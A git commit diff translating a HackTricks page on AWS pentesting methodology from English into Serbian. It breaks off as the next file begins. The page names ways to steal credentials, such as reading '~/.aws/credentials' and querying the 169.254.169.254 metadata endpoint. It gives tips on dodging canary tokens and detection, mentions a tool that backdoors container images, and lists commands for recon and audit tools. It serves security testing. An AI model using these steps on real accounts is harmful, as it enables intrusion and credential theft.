mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 11:26:11 -08:00
Translated ['src/README.md', 'src/banners/hacktricks-training.md', 'src/
This commit is contained in:
@@ -2,17 +2,17 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Osnovne informacije
|
||||
|
||||
**Before start pentesting** an **AWS** environment there are a few **basics things you need to know** about how AWS works to help you understand what you need to do, how to find misconfigurations and how to exploit them.
|
||||
**Pre nego što započnete pentesting** **AWS** okruženja, postoji nekoliko **osnovnih stvari koje treba da znate** o tome kako AWS funkcioniše kako biste razumeli šta treba da radite, kako da pronađete pogrešne konfiguracije i kako da ih iskoristite.
|
||||
|
||||
Concepts such as organization hierarchy, IAM and other basic concepts are explained in:
|
||||
Koncepti kao što su hijerarhija organizacije, IAM i drugi osnovni koncepti su objašnjeni u:
|
||||
|
||||
{{#ref}}
|
||||
aws-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
## Labs to learn
|
||||
## Laboratorije za učenje
|
||||
|
||||
- [https://github.com/RhinoSecurityLabs/cloudgoat](https://github.com/RhinoSecurityLabs/cloudgoat)
|
||||
- [https://github.com/BishopFox/iam-vulnerable](https://github.com/BishopFox/iam-vulnerable)
|
||||
@@ -22,49 +22,49 @@ aws-basic-information/
|
||||
- [http://flaws.cloud/](http://flaws.cloud/)
|
||||
- [http://flaws2.cloud/](http://flaws2.cloud/)
|
||||
|
||||
Tools to simulate attacks:
|
||||
Alati za simulaciju napada:
|
||||
|
||||
- [https://github.com/Datadog/stratus-red-team/](https://github.com/Datadog/stratus-red-team/)
|
||||
- [https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main](https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main)
|
||||
|
||||
## AWS Pentester/Red Team Methodology
|
||||
## AWS Pentester/Red Team metodologija
|
||||
|
||||
In order to audit an AWS environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal AWS services an **external services** connected.
|
||||
Da biste auditovali AWS okruženje, veoma je važno znati: koje **usluge se koriste**, šta je **izloženo**, ko ima **pristup** čemu, i kako su interne AWS usluge povezane sa **spoljnim uslugama**.
|
||||
|
||||
From a Red Team point of view, the **first step to compromise an AWS environment** is to manage to obtain some **credentials**. Here you have some ideas on how to do that:
|
||||
Sa stanovišta Red Teama, **prvi korak za kompromitovanje AWS okruženja** je da uspete da dobijete neke **akreditive**. Ovde su neke ideje kako to učiniti:
|
||||
|
||||
- **Leaks** in github (or similar) - OSINT
|
||||
- **Social** Engineering
|
||||
- **Password** reuse (password leaks)
|
||||
- Vulnerabilities in AWS-Hosted Applications
|
||||
- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) with access to metadata endpoint
|
||||
- **Local File Read**
|
||||
- `/home/USERNAME/.aws/credentials`
|
||||
- `C:\Users\USERNAME\.aws\credentials`
|
||||
- 3rd parties **breached**
|
||||
- **Internal** Employee
|
||||
- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)credentials
|
||||
- **Leakovi** na github-u (ili sličnim mestima) - OSINT
|
||||
- **Društveno** inženjerstvo
|
||||
- **Ponovna upotreba** lozinki (leakovi lozinki)
|
||||
- Ranljivosti u AWS-hostovanim aplikacijama
|
||||
- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) sa pristupom metadata endpoint-u
|
||||
- **Čitanje lokalnih fajlova**
|
||||
- `/home/USERNAME/.aws/credentials`
|
||||
- `C:\Users\USERNAME\.aws\credentials`
|
||||
- 3rd party **provale**
|
||||
- **Interni** zaposleni
|
||||
- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)akreditivi
|
||||
|
||||
Or by **compromising an unauthenticated service** exposed:
|
||||
Ili kompromitovanjem **neautentifikovane usluge** koja je izložena:
|
||||
|
||||
{{#ref}}
|
||||
aws-unauthenticated-enum-access/
|
||||
{{#endref}}
|
||||
|
||||
Or if you are doing a **review** you could just **ask for credentials** with these roles:
|
||||
Ili ako radite **reviziju**, mogli biste jednostavno **tražiti akreditive** sa ovim rolama:
|
||||
|
||||
{{#ref}}
|
||||
aws-permissions-for-a-pentest.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration:
|
||||
> Nakon što ste uspeli da dobijete akreditive, treba da znate **kome ti akrediti pripadaju**, i **čemu imaju pristup**, tako da treba da izvršite neku osnovnu enumeraciju:
|
||||
|
||||
## Basic Enumeration
|
||||
## Osnovna enumeracija
|
||||
|
||||
### SSRF
|
||||
|
||||
If you found a SSRF in a machine inside AWS check this page for tricks:
|
||||
Ako ste pronašli SSRF na mašini unutar AWS-a, proverite ovu stranicu za trikove:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
|
||||
@@ -72,8 +72,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
|
||||
|
||||
### Whoami
|
||||
|
||||
One of the first things you need to know is who you are (in where account you are in other info about the AWS env):
|
||||
|
||||
Jedna od prvih stvari koje treba da znate je ko ste (u kojem računu se nalazite i druge informacije o AWS okruženju):
|
||||
```bash
|
||||
# Easiest way, but might be monitored?
|
||||
aws sts get-caller-identity
|
||||
@@ -89,10 +88,9 @@ aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa
|
||||
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
|
||||
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that companies might use **canary tokens** to identify when **tokens are being stolen and used**. It's recommended to check if a token is a canary token or not before using it.\
|
||||
> For more info [**check this page**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
|
||||
> Imajte na umu da kompanije mogu koristiti **canary tokens** da identifikuju kada se **tokeni kradu i koriste**. Preporučuje se da proverite da li je token canary token ili ne pre nego što ga upotrebite.\
|
||||
> Za više informacija [**proverite ovu stranicu**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
|
||||
|
||||
### Org Enumeration
|
||||
|
||||
@@ -102,30 +100,30 @@ aws-services/aws-organizations-enum.md
|
||||
|
||||
### IAM Enumeration
|
||||
|
||||
If you have enough permissions **checking the privileges of each entity inside the AWS account** will help you understand what you and other identities can do and how to **escalate privileges**.
|
||||
Ako imate dovoljno dozvola, **proveravanje privilegija svake entiteta unutar AWS naloga** pomoći će vam da razumete šta vi i druge identitete možete da radite i kako da **povećate privilegije**.
|
||||
|
||||
If you don't have enough permissions to enumerate IAM, you can **steal bruteforce them** to figure them out.\
|
||||
Check **how to do the numeration and brute-forcing** in:
|
||||
Ako nemate dovoljno dozvola da enumerišete IAM, možete **ukrasti brute-force** da ih otkrijete.\
|
||||
Proverite **kako da uradite numeraciju i brute-forcing** u:
|
||||
|
||||
{{#ref}}
|
||||
aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\
|
||||
> In the following section you can check some ways to **enumerate some common services.**
|
||||
> Sada kada **imate neke informacije o vašim kredencijalima** (i ako ste red tim, nadamo se da **niste otkriveni**). Vreme je da otkrijete koje se usluge koriste u okruženju.\
|
||||
> U sledećem odeljku možete proveriti neke načine da **enumerišete neke uobičajene usluge.**
|
||||
|
||||
## Services Enumeration, Post-Exploitation & Persistence
|
||||
|
||||
AWS has an astonishing amount of services, in the following page you will find **basic information, enumeration** cheatsheets\*\*,\*\* how to **avoid detection**, obtain **persistence**, and other **post-exploitation** tricks about some of them:
|
||||
AWS ima neverovatnu količinu usluga, na sledećoj stranici naći ćete **osnovne informacije, enumeraciju** cheatsheets\*\*,\*\* kako da **izbegnete otkrivanje**, dobijete **persistence**, i druge **post-exploitation** trikove o nekima od njih:
|
||||
|
||||
{{#ref}}
|
||||
aws-services/
|
||||
{{#endref}}
|
||||
|
||||
Note that you **don't** need to perform all the work **manually**, below in this post you can find a **section about** [**automatic tools**](./#automated-tools).
|
||||
Imajte na umu da **ne** morate obavljati sav posao **ručno**, ispod u ovom postu možete pronaći **odeljak o** [**automatskim alatima**](./#automated-tools).
|
||||
|
||||
Moreover, in this stage you might discovered **more services exposed to unauthenticated users,** you might be able to exploit them:
|
||||
Štaviše, u ovoj fazi možda ste otkrili **više usluga izloženih neautentifikovanim korisnicima**, možda ćete moći da ih iskoristite:
|
||||
|
||||
{{#ref}}
|
||||
aws-unauthenticated-enum-access/
|
||||
@@ -133,7 +131,7 @@ aws-unauthenticated-enum-access/
|
||||
|
||||
## Privilege Escalation
|
||||
|
||||
If you can **check at least your own permissions** over different resources you could **check if you are able to obtain further permissions**. You should focus at least in the permissions indicated in:
|
||||
Ako možete **proveriti barem svoje dozvole** nad različitim resursima, mogli biste **proveriti da li možete dobiti dodatne dozvole**. Trebalo bi da se fokusirate barem na dozvole navedene u:
|
||||
|
||||
{{#ref}}
|
||||
aws-privilege-escalation/
|
||||
@@ -141,10 +139,10 @@ aws-privilege-escalation/
|
||||
|
||||
## Publicly Exposed Services
|
||||
|
||||
While enumerating AWS services you might have found some of them **exposing elements to the Internet** (VM/Containers ports, databases or queue services, snapshots or buckets...).\
|
||||
As pentester/red teamer you should always check if you can find **sensitive information / vulnerabilities** on them as they might provide you **further access into the AWS account**.
|
||||
Dok enumerišete AWS usluge, možda ste pronašli neke od njih **koje izlažu elemente internetu** (VM/Containers portovi, baze podataka ili usluge čekanja, snimci ili kante...).\
|
||||
Kao pentester/red tim, uvek biste trebali proveriti da li možete pronaći **osetljive informacije / ranjivosti** na njima, jer bi vam mogle pružiti **dalji pristup AWS nalogu**.
|
||||
|
||||
In this book you should find **information** about how to find **exposed AWS services and how to check them**. About how to find **vulnerabilities in exposed network services** I would recommend you to **search** for the specific **service** in:
|
||||
U ovoj knjizi trebali biste pronaći **informacije** o tome kako pronaći **izložene AWS usluge i kako ih proveriti**. O tome kako pronaći **ranjivosti u izloženim mrežnim uslugama**, preporučujem vam da **pretražujete** specifičnu **uslugu** na:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/
|
||||
@@ -154,52 +152,49 @@ https://book.hacktricks.xyz/
|
||||
|
||||
### From the root/management account
|
||||
|
||||
When the management account creates new accounts in the organization, a **new role** is created in the new account, by default named **`OrganizationAccountAccessRole`** and giving **AdministratorAccess** policy to the **management account** to access the new account.
|
||||
Kada menadžerski nalog kreira nove naloge u organizaciji, **nova uloga** se kreira u novom nalogu, po defaultu nazvana **`OrganizationAccountAccessRole`** i daje **AdministratorAccess** politiku menadžerskom nalogu da pristupi novom nalogu.
|
||||
|
||||
<figure><img src="../../images/image (171).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
So, in order to access as administrator a child account you need:
|
||||
Dakle, da biste pristupili kao administrator detetovom nalogu, potrebno je:
|
||||
|
||||
- **Compromise** the **management** account and find the **ID** of the **children accounts** and the **names** of the **role** (OrganizationAccountAccessRole by default) allowing the management account to access as admin.
|
||||
- To find children accounts go to the organizations section in the aws console or run `aws organizations list-accounts`
|
||||
- You cannot find the name of the roles directly, so check all the custom IAM policies and search any allowing **`sts:AssumeRole` over the previously discovered children accounts**.
|
||||
- **Compromise** a **principal** in the management account with **`sts:AssumeRole` permission over the role in the children accounts** (even if the account is allowing anyone from the management account to impersonate, as its an external account, specific `sts:AssumeRole` permissions are necessary).
|
||||
- **Kompromitovati** **menadžerski** nalog i pronaći **ID** **dečijih naloga** i **imena** **uloge** (OrganizationAccountAccessRole po defaultu) koja omogućava menadžerskom nalogu da pristupi kao admin.
|
||||
- Da biste pronašli dečije naloge, idite na odeljak organizacija u aws konzoli ili pokrenite `aws organizations list-accounts`
|
||||
- Ne možete direktno pronaći imena uloga, pa proverite sve prilagođene IAM politike i pretražujte bilo koju koja omogućava **`sts:AssumeRole` nad prethodno otkrivenim dečijim nalozima**.
|
||||
- **Kompromitujte** **principal** u menadžerskom nalogu sa **`sts:AssumeRole` dozvolom nad ulogom u dečijim nalozima** (čak i ako nalog omogućava bilo kome iz menadžerskog naloga da se pretvara, kao što je eksterni nalog, specifične `sts:AssumeRole` dozvole su neophodne).
|
||||
|
||||
## Automated Tools
|
||||
|
||||
### Recon
|
||||
|
||||
- [**aws-recon**](https://github.com/darkbitio/aws-recon): A multi-threaded AWS security-focused **inventory collection tool** written in Ruby.
|
||||
|
||||
- [**aws-recon**](https://github.com/darkbitio/aws-recon): Alat za **prikupljanje inventara** fokusiran na AWS sigurnost, pisan u Ruby-ju.
|
||||
```bash
|
||||
# Install
|
||||
gem install aws_recon
|
||||
|
||||
# Recon and get json
|
||||
AWS_PROFILE=<profile> aws_recon \
|
||||
--services S3,EC2 \
|
||||
--regions global,us-east-1,us-east-2 \
|
||||
--verbose
|
||||
--services S3,EC2 \
|
||||
--regions global,us-east-1,us-east-2 \
|
||||
--verbose
|
||||
```
|
||||
|
||||
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist is a **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers.
|
||||
- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper helps you analyze your Amazon Web Services (AWS) environments. It now contains much more functionality, including auditing for security issues.
|
||||
|
||||
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist je **alat za više oblaka za dobijanje resursa** (domaćinska imena, IP adrese) od provajdera oblaka.
|
||||
- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper vam pomaže da analizirate svoja okruženja Amazon Web Services (AWS). Sada sadrži mnogo više funkcionalnosti, uključujući reviziju za bezbednosne probleme.
|
||||
```bash
|
||||
# Installation steps in github
|
||||
# Create a config.json file with the aws info, like:
|
||||
{
|
||||
"accounts": [
|
||||
{
|
||||
"default": true,
|
||||
"id": "<account id>",
|
||||
"name": "dev"
|
||||
}
|
||||
],
|
||||
"cidrs":
|
||||
{
|
||||
"2.2.2.2/28": {"name": "NY Office"}
|
||||
}
|
||||
"accounts": [
|
||||
{
|
||||
"default": true,
|
||||
"id": "<account id>",
|
||||
"name": "dev"
|
||||
}
|
||||
],
|
||||
"cidrs":
|
||||
{
|
||||
"2.2.2.2/28": {"name": "NY Office"}
|
||||
}
|
||||
}
|
||||
|
||||
# Enumerate
|
||||
@@ -229,9 +224,7 @@ python3 cloudmapper.py public --accounts dev
|
||||
python cloudmapper.py prepare #Prepare webserver
|
||||
python cloudmapper.py webserver #Show webserver
|
||||
```
|
||||
|
||||
- [**cartography**](https://github.com/lyft/cartography): Cartography is a Python tool that consolidates infrastructure assets and the relationships between them in an intuitive graph view powered by a Neo4j database.
|
||||
|
||||
- [**cartography**](https://github.com/lyft/cartography): Cartography je Python alat koji konsoliduje infrastrukturne resurse i odnose između njih u intuitivnom grafičkom prikazu koji pokreće Neo4j baza podataka.
|
||||
```bash
|
||||
# Install
|
||||
pip install cartography
|
||||
@@ -240,17 +233,15 @@ pip install cartography
|
||||
# Get AWS info
|
||||
AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j
|
||||
```
|
||||
|
||||
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase collects assets and relationships from services and systems including cloud infrastructure, SaaS applications, security controls, and more into an intuitive graph view backed by the Neo4j database.
|
||||
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Uses python2) This is a tool that tries to **discover all** [**AWS resources**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) created in an account.
|
||||
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): It's a tool to **fetch all public IP addresses** (both IPv4/IPv6) associated with an AWS account.
|
||||
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase prikuplja resurse i odnose iz usluga i sistema uključujući cloud infrastrukturu, SaaS aplikacije, bezbednosne kontrole i još mnogo toga u intuitivnom grafičkom prikazu podržanom od strane Neo4j baze podataka.
|
||||
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Koristi python2) Ovo je alat koji pokušava da **otkrije sve** [**AWS resurse**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) kreirane u nalogu.
|
||||
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): To je alat za **preuzimanje svih javnih IP adresa** (i IPv4/IPv6) povezanih sa AWS nalogom.
|
||||
|
||||
### Privesc & Exploiting
|
||||
|
||||
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Discover the most privileged users in the scanned AWS environment, including the AWS Shadow Admins. It uses powershell. You can find the **definition of privileged policies** in the function **`Check-PrivilegedPolicy`** in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
|
||||
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu is an open-source **AWS exploitation framework**, designed for offensive security testing against cloud environments. It can **enumerate**, find **miss-configurations** and **exploit** them. You can find the **definition of privileged permissions** in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) inside the **`user_escalation_methods`** dict.
|
||||
- Note that pacu **only checks your own privescs paths** (not account wide).
|
||||
|
||||
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Otkrijte najprivilegovanije korisnike u skeniranoj AWS sredini, uključujući AWS Shadow Admins. Koristi powershell. Možete pronaći **definiciju privilegovanih politika** u funkciji **`Check-PrivilegedPolicy`** u [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
|
||||
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu je open-source **AWS exploitation framework**, dizajniran za ofanzivno testiranje bezbednosti protiv cloud okruženja. Može **enumerisati**, pronaći **pogrešne konfiguracije** i **iskoristiti** ih. Možete pronaći **definiciju privilegovanih dozvola** u [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) unutar **`user_escalation_methods`** rečnika.
|
||||
- Imajte na umu da pacu **samo proverava vaše vlastite privesc puteve** (ne na nivou celog naloga).
|
||||
```bash
|
||||
# Install
|
||||
## Feel free to use venvs
|
||||
@@ -264,9 +255,7 @@ pacu
|
||||
> exec iam__enum_permissions # Get permissions
|
||||
> exec iam__privesc_scan # List privileged permissions
|
||||
```
|
||||
|
||||
- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) is a script and library for identifying risks in the configuration of AWS Identity and Access Management (IAM) for an AWS account or an AWS organization. It models the different IAM Users and Roles in an account as a directed graph, which enables checks for **privilege escalation** and for alternate paths an attacker could take to gain access to a resource or action in AWS. You can check the **permissions used to find privesc** paths in the filenames ended in `_edges.py` in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
|
||||
|
||||
- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) je skripta i biblioteka za identifikaciju rizika u konfiguraciji AWS Identity and Access Management (IAM) za AWS nalog ili AWS organizaciju. Modeluje različite IAM korisnike i uloge u nalogu kao usmereni graf, što omogućava provere za **privilege escalation** i za alternativne puteve koje napadač može da preuzme kako bi dobio pristup resursu ili akciji u AWS-u. Možete proveriti **permissions used to find privesc** puteve u datotekama koje se završavaju sa `_edges.py` u [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
|
||||
```bash
|
||||
# Install
|
||||
pip install principalmapper
|
||||
@@ -288,10 +277,8 @@ pmapper --profile dev query 'preset privesc *' # Get privescs with admins
|
||||
pmapper --profile dev orgs create
|
||||
pmapper --profile dev orgs display
|
||||
```
|
||||
|
||||
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining is an AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized HTML report.\
|
||||
It will show you potentially **over privileged** customer, inline and aws **policies** and which **principals has access to them**. (It not only checks for privesc but also other kind of interesting permissions, recommended to use).
|
||||
|
||||
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining je alat za procenu bezbednosti AWS IAM koji identifikuje kršenja principa minimalnih privilegija i generiše izveštaj u HTML formatu sa prioritetom rizika.\
|
||||
Prikazaće vam potencijalno **previše privilegovanog** korisnika, inline i aws **politike** i koji **principali imaju pristup njima**. (Ne proverava samo privesc već i druge vrste zanimljivih dozvola, preporučuje se korišćenje).
|
||||
```bash
|
||||
# Install
|
||||
pip install cloudsplaining
|
||||
@@ -303,24 +290,20 @@ cloudsplaining download --profile dev
|
||||
# Analyze the IAM policies
|
||||
cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/
|
||||
```
|
||||
|
||||
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack assesses AWS accounts for **subdomain hijacking vulnerabilities** as a result of decoupled Route53 and CloudFront configurations.
|
||||
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): List ECR repos -> Pull ECR repo -> Backdoor it -> Push backdoored image
|
||||
- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag is a tool that **searches** through public Elastic Block Storage (**EBS) snapshots for secrets** that may have been accidentally left in.
|
||||
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack procenjuje AWS naloge na **ranjivosti u otimanju poddomena** kao rezultat odvojenih konfiguracija Route53 i CloudFront.
|
||||
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Lista ECR repozitorijuma -> Preuzmi ECR repozitorijum -> Uvedi backdoor -> Pomerite backdoor-ovanu sliku
|
||||
- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag je alat koji **pretražuje** javne Elastic Block Storage (**EBS**) snimke za tajne koje su možda slučajno ostavljene.
|
||||
|
||||
### Audit
|
||||
|
||||
- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit by Aqua is an open-source project designed to allow detection of **security risks in cloud infrastructure** accounts, including: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), and GitHub (It doesn't look for ShadowAdmins).
|
||||
|
||||
- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit od Aqua je projekat otvorenog koda dizajniran da omogući otkrivanje **bezbednosnih rizika u cloud infrastrukturi** naloga, uključujući: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI) i GitHub (ne traži ShadowAdmins).
|
||||
```bash
|
||||
./index.js --csv=file.csv --console=table --config ./config.js
|
||||
|
||||
# Compiance options: --compliance {hipaa,cis,cis1,cis2,pci}
|
||||
## use "cis" for cis level 1 and 2
|
||||
```
|
||||
|
||||
- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler is an Open Source security tool to perform AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness.
|
||||
|
||||
- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler je alat otvorenog koda za procenu najboljih praksi bezbednosti AWS-a, revizije, odgovor na incidente, kontinuirano praćenje, učvršćivanje i spremnost za forenziku.
|
||||
```bash
|
||||
# Install python3, jq and git
|
||||
# Install
|
||||
@@ -331,15 +314,11 @@ prowler -v
|
||||
prowler <provider>
|
||||
prowler aws --profile custom-profile [-M csv json json-asff html]
|
||||
```
|
||||
|
||||
- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox helps you gain situational awareness in unfamiliar cloud environments. It’s an open source command line tool created to help penetration testers and other offensive security professionals find exploitable attack paths in cloud infrastructure.
|
||||
|
||||
- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox vam pomaže da steknete situacionu svest u nepoznatim cloud okruženjima. To je alat otvorenog koda za komandnu liniju kreiran da pomogne pentesterima i drugim profesionalcima u ofanzivnoj bezbednosti da pronađu iskoristive napadne puteve u cloud infrastrukturi.
|
||||
```bash
|
||||
cloudfox aws --profile [profile-name] all-checks
|
||||
```
|
||||
|
||||
- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite is an open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments.
|
||||
|
||||
- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite je alat za reviziju bezbednosti otvorenog koda za više oblaka, koji omogućava procenu bezbednosnog stanja oblaka.
|
||||
```bash
|
||||
# Install
|
||||
virtualenv -p python3 venv
|
||||
@@ -350,18 +329,16 @@ scout --help
|
||||
# Get info
|
||||
scout aws -p dev
|
||||
```
|
||||
- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (koristi python2.7 i izgleda neodržavano)
|
||||
- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus je moćan alat za AWS EC2 / S3 / CloudTrail / CloudWatch / KMS najbolje prakse učvršćivanja (izgleda neodržavano). Proverava samo podrazumevane konfiguracije kredencijala unutar sistema.
|
||||
|
||||
- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (uses python2.7 and looks unmaintained)
|
||||
- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus is a powerful tool for AWS EC2 / S3 / CloudTrail / CloudWatch / KMS best hardening practices (looks unmaintained). It checks only default configured creds inside the system.
|
||||
### Kontinuirana Revizija
|
||||
|
||||
### Constant Audit
|
||||
|
||||
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian is a rules engine for managing public cloud accounts and resources. It allows users to **define policies to enable a well managed cloud infrastructure**, that's both secure and cost optimized. It consolidates many of the adhoc scripts organizations have into a lightweight and flexible tool, with unified metrics and reporting.
|
||||
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** is a platform for **continuous compliance monitoring, compliance reporting and security automation for the clou**d. In PacBot, security and compliance policies are implemented as code. All resources discovered by PacBot are evaluated against these policies to gauge policy conformance. The PacBot **auto-fix** framework provides the ability to automatically respond to policy violations by taking predefined actions.
|
||||
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert is a serverless, **real-time** data analysis framework which empowers you to **ingest, analyze, and alert** on data from any environment, u**sing data sources and alerting logic you define**. Computer security teams use StreamAlert to scan terabytes of log data every day for incident detection and response.
|
||||
|
||||
## DEBUG: Capture AWS cli requests
|
||||
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian je motor pravila za upravljanje javnim cloud računima i resursima. Omogućava korisnicima da **definišu politike za omogućavanje dobro upravljane cloud infrastrukture**, koja je i sigurna i optimizovana za troškove. Konsoliduje mnoge ad-hoc skripte koje organizacije imaju u lagan i fleksibilan alat, sa jedinstvenim metrikama i izveštavanjem.
|
||||
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** je platforma za **kontinuirano praćenje usklađenosti, izveštavanje o usklađenosti i automatizaciju bezbednosti za cloud**. U PacBot-u, bezbednosne i usklađene politike se implementiraju kao kod. Svi resursi otkriveni od strane PacBot-a se ocenjuju prema ovim politikama kako bi se procenila usklađenost sa politikama. PacBot **auto-fix** okvir pruža mogućnost automatskog odgovora na kršenja politika preduzimanjem unapred definisanih akcija.
|
||||
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert je serverless, **real-time** okvir za analizu podataka koji vam omogućava da **prikupljate, analizirate i obaveštavate** o podacima iz bilo kog okruženja, **koristeći izvore podataka i logiku obaveštavanja koju definišete**. Timovi za računarstvo bezbednosti koriste StreamAlert da skeniraju terabajte log podataka svakog dana za otkrivanje incidenata i odgovor na njih.
|
||||
|
||||
## DEBUG: Zabeleži AWS cli zahteve
|
||||
```bash
|
||||
# Set proxy
|
||||
export HTTP_PROXY=http://localhost:8080
|
||||
@@ -380,14 +357,9 @@ export AWS_CA_BUNDLE=~/Downloads/certificate.pem
|
||||
# Run aws cli normally trusting burp cert
|
||||
aws ...
|
||||
```
|
||||
|
||||
## References
|
||||
## Reference
|
||||
|
||||
- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
|
||||
- [https://cloudsecdocs.com/aws/defensive/tooling/audit/](https://cloudsecdocs.com/aws/defensive/tooling/audit/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,331 +1,321 @@
|
||||
# AWS - Basic Information
|
||||
# AWS - Osnovne Informacije
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Organization Hierarchy
|
||||
## Hijerarhija Organizacije
|
||||
|
||||
.png>)
|
||||
|
||||
### Accounts
|
||||
### Računi
|
||||
|
||||
